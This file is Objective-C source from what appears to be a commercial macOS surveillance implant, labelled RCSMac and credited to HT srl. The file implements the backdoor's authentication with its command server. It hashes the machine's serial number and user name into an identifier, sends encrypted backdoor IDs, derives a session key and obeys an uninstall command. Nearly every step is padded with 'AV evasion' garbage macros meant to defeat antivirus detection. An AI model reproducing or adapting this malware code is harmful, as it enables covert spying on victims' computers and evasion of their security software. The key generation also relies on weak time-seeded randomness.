/*
 * RCSMac - Authentication Network Operation
 *
 *
 * Created by revenge on 13/01/2011
 * Copyright (C) HT srl 2011. All rights reserved
 *
 */
#import "RCSMCommon.h"

#import "AuthNetworkOperation.h"

#import "RCSMTaskManager.h"

#import "NSMutableData+AES128.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "RCSMGlobals.h"

#import "RCSMLogger.h"
#import "RCSMDebug.h"

#import "RCSMAVGarbage.h"

@implementation AuthNetworkOperation

- (id)initWithTransport: (RESTTransport *)aTransport
{
  if (self = [super init])
    {
      mBackdoorSignature = [[NSData alloc] initWithBytes: gBackdoorSignature
                                                  length: CC_MD5_DIGEST_LENGTH];
      
      // AV evasion: only on release build
      AV_GARBAGE_000
      
      mTransport = aTransport;
      
      // AV evasion: only on release build
      AV_GARBAGE_000
      
      return self;
    }
  
  return nil;
}

- (void)dealloc
{
  [mBackdoorSignature release];
  //[mTransport release];
  
  [super dealloc];
}

- (BOOL)perform
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  u_int randomNumber, i;
  srandom(time(NULL));
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  char nullTerminator = 0x00;
  
  NSMutableData *kd     = [[NSMutableData alloc] init];
  NSMutableData *nOnce  = [[NSMutableData alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  //
  // Generate kd (16 bytes)
  //
  for (i = 0; i < 16; i += 4)
    {
      randomNumber = random();
      
      // AV evasion: only on release build
      AV_GARBAGE_006
      
      [kd appendBytes: (const void *)&randomNumber
               length: sizeof(randomNumber)];
    }
  //
  // Generate nonce (16 bytes)
  //
  for (i = 0; i < 16; i += 4)
    {
      randomNumber = random();
      // AV evasion: only on release build
      AV_GARBAGE_007
      
      [nOnce appendBytes: (const void *)&randomNumber
                  length: sizeof(randomNumber)];
      
      // AV evasion: only on release build
      AV_GARBAGE_005
      
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  NSData *confKey = [NSData dataWithBytes: &gConfAesKey
                                   length: CC_MD5_DIGEST_LENGTH];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  CFStringRef serialNumber;
  getSystemSerialNumber(&serialNumber);
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  NSMutableString *_instanceID = [[NSMutableString alloc] initWithString: (NSString *)serialNumber];
  CFRelease(serialNumber);
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  NSString *userName = NSUserName();
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  [_instanceID appendString: userName];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  NSData *instanceID = [_instanceID sha1Hash];
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  [_instanceID release];
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  //XXX- check for the null terminator
  NSMutableData *backdoorID = [[NSMutableData alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  [backdoorID appendBytes: &gBackdoorID
                   length: strlen(gBackdoorID)];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [backdoorID appendBytes: &nullTerminator
                   length: sizeof(char)];
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  [backdoorID appendBytes: &nullTerminator
                   length: sizeof(char)];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  NSMutableData *type;
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  // FIXED-
  if (gIsDemoMode)
    type = [[NSMutableData alloc] initWithData:
            [@"OSX-DEMO" dataUsingEncoding: NSASCIIStringEncoding]];
  else
    type = [[NSMutableData alloc] initWithData:
                           [@"OSX" dataUsingEncoding: NSASCIIStringEncoding]];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  int typeLen = 16 - [type length];
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  for (i = 0; i < typeLen; i++)
    {
      [type appendBytes: &nullTerminator
                 length: sizeof(char)];
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  //
  // Generate id token sha1(backdoor_id + instance + subtype + confkey)
  //
  NSMutableData *idToken = [[NSMutableData alloc] init];
  [idToken appendData: backdoorID];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [idToken appendData: instanceID];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  [idToken appendData: type];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  [idToken appendData: confKey];
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  NSData *shaIDToken = [idToken sha1Hash];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  // Prepare the encrypted message
  NSMutableData *message = [[NSMutableData alloc] init];
  [message appendData: kd];
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  [message appendData: nOnce];
  [message appendData: backdoorID];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  [message appendData: instanceID];
  [message appendData: type];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [message appendData: shaIDToken];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  
  NSMutableData *encMessage = [[NSMutableData alloc] initWithData: message];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [encMessage encryptWithKey: mBackdoorSignature];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  //
  // Send encrypted message
  //
  NSURLResponse *urlResponse  = nil;
  NSData *replyData           = nil;
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  replyData = [mTransport sendData: encMessage
                 returningResponse: urlResponse];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  if ([replyData length] != 64)
    {
      // AV evasion: only on release build
      AV_GARBAGE_004
    
      [kd release];
      [nOnce release];
      
      // AV evasion: only on release build
      AV_GARBAGE_004
      
      [backdoorID release];
      [type release];
      [idToken release];
      [message release];
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      [encMessage release];
      [outerPool release];
      
      // AV evasion: only on release build
      AV_GARBAGE_004
      
      return NO;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  // first 32 bytes are the Ks choosen by the server
  // decrypt it and store to create the session key along with Kd and Cb
  NSMutableData *ksCrypted = [[NSMutableData alloc] initWithBytes: [replyData bytes]
                                                           length: 32];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  [ksCrypted decryptWithKey: mBackdoorSignature];
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  NSData *ks = [[NSData alloc] initWithBytes: [ksCrypted bytes]
                                      length: CC_MD5_DIGEST_LENGTH];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [ksCrypted release];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  NSString *ksString = [[NSString alloc] initWithData: ks
                                             encoding: NSUTF8StringEncoding];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  // calculate the session key -> K = sha1(Cb || Ks || Kd)
  // we use a schema like PBKDF1
  // remember it for the entire session
  NSMutableData *sessionKey = [[NSMutableData alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  [sessionKey appendData: confKey];
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  [sessionKey appendData: ks];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  [sessionKey appendData: kd];
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  gSessionKey = [[NSMutableData alloc] initWithData: [sessionKey sha1Hash]];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  // second part of the server response contains the NOnce and the response
  // extract the NOnce and check if it is ok
  // this MUST be the same NOnce sent to the server, but since it is crypted
  // with the session key we know that the server knows Cb and thus is trusted
  NSMutableData *secondPartResponse;
  @try
    { 
      // AV evasion: only on release build
      AV_GARBAGE_006
      
      secondPartResponse = [[NSMutableData alloc] initWithData:
                            [replyData subdataWithRange:
                             NSMakeRange(32, [replyData length] - 32)]];
      
      // AV evasion: only on release build
      AV_GARBAGE_003
    }
  @catch (NSException *e)
    {
      // AV evasion: only on release build
      AV_GARBAGE_001
          
      return NO;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [secondPartResponse decryptWithKey: gSessionKey];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  NSData *rNonce = [[NSData alloc] initWithBytes: [secondPartResponse bytes]
                                          length: 16];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  if ([nOnce isEqualToData: rNonce] == NO)
    {
      // AV evasion: only on release build
      AV_GARBAGE_003
    
      return NO;
    }
  
  NSData *_protoCommand;
  uint32_t protoCommand;
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  @try
    {
      // AV evasion: only on release build
      AV_GARBAGE_004
    
      _protoCommand = [[NSData alloc] initWithData:
                       [secondPartResponse subdataWithRange: NSMakeRange(16, 4)]];
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      [_protoCommand getBytes: &protoCommand
                        range: NSMakeRange(0, sizeof(int))];
      
      // AV evasion: only on release build
      AV_GARBAGE_001
      
    }
  @catch (NSException *e)
    {
      // AV evasion: only on release build
      AV_GARBAGE_003
    
      return NO;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  [kd release];
  [nOnce release];
  // FIXED-
  [backdoorID release];
  [type release];
  //
  [idToken release];
  [message release];
  [encMessage release];
  [ks release];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  
  [ksString release];
  [sessionKey release];
  [secondPartResponse release];
  [rNonce release];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [outerPool release];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  switch (protoCommand)
    {
    case PROTO_OK:
      {
#ifdef DEBUG_AUTH_NOP
        infoLog(@"Auth Response OK");
#endif
      } break;
    case PROTO_UNINSTALL:
      {
#ifdef DEBUG_AUTH_NOP
        infoLog(@"Uninstall");
#endif

        __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance];
        [taskManager uninstallMeh];
      } break;
    case PROTO_NO:
    default:
      {
#ifdef DEBUG_AUTH_NOP
        errorLog(@"Received command: %d", protoCommand);
#endif

        [_protoCommand release];
        return NO;
      } break;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  [_protoCommand release];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  return YES;
}

@end
